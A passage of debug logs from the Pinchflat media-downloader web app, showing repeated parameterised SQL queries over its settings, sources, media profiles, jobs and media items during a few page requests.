s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.165 [debug] QUERY OK source="settings" db=0.7ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.165 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.166 [debug] QUERY OK source="settings" db=0.7ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.166 [debug] QUERY OK source="settings" db=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.166 [debug] QUERY OK source="media_profiles" db=1.5ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 22:17:21.166 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.166 [debug] QUERY OK source="media_profiles" db=0.7ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.167 [info] Sent 200 in 7ms 22:17:21.167 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.167 [info] GET /sources/7 22:17:21.167 [debug] QUERY OK source="settings" db=1.7ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.167 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.167 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 22:17:21.168 [debug] QUERY OK source="settings" db=0.3ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.168 [info] GET /sources/6 22:17:21.168 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 22:17:21.168 [debug] QUERY OK source="settings" db=1.2ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.168 [debug] QUERY OK source="sources" db=0.6ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:21.168 [debug] QUERY OK source="settings" db=0.6ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.169 [debug] QUERY OK source="settings" db=0.5ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.169 [debug] QUERY OK source="tasks" db=2.6ms idle=0.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 22:17:21.169 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.170 [debug] QUERY OK source="media_profiles" db=1.0ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.170 [debug] QUERY OK source="media_profiles" db=0.9ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.170 [info] Sent 200 in 6ms 22:17:21.170 [info] Sent 200 in 6ms 22:17:21.170 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=0.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 22:17:21.171 [debug] QUERY OK source="media_profiles" db=0.9ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.171 [debug] QUERY OK source="tasks" db=1.2ms queue=0.1ms idle=0.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [7, "executing", "available", "scheduled", "retryable"] 22:17:21.172 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.172 [info] Sent 200 in 13ms 22:17:21.172 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2351] 22:17:21.172 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.172 [debug] QUERY OK source="tasks" db=1.4ms queue=0.1ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 22:17:21.172 [debug] QUERY OK source="settings" db=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.173 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.173 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=0.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2348] 22:17:21.173 [debug] QUERY OK source="settings" db=0.4ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.173 [debug] QUERY OK source="settings" db=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.173 [debug] QUERY OK source="settings" db=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.174 [debug] QUERY OK source="settings" db=0.4ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.174 [debug] QUERY OK source="sources" db=0.3ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.175 [debug] QUERY OK source="settings" db=0.5ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.175 [debug] QUERY OK source="sources" db=0.4ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:21.176 [debug] QUERY OK source="media_items" db=1.1ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 22:17:21.176 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 22:17:21.176 [debug] QUERY OK source="sources" db=0.3ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.177 [debug] QUERY OK source="media_items" db=1.2ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:21.178 [debug] QUERY OK source="media_items" db=2.0ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.178 [debug] QUERY OK source="media_items" db=1.7ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 22:17:21.179 [debug] QUERY OK source="sources" db=0.7ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.179 [debug] QUERY OK source="sources" db=1.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:21.180 [debug] QUERY OK source="media_items" db=1.1ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:21.180 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 22:17:21.181 [debug] QUERY OK source="media_items" db=0.9ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 22:17:21.181 [debug] QUERY OK source="media_items" db=0.8ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.181 [debug] QUERY OK source="sources" db=1.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.182 [debug] QUERY OK source="media_items" db=0.3ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 22:17:21.182 [debug] QUERY OK source="media_items" db=1.0ms queue=0.4ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY 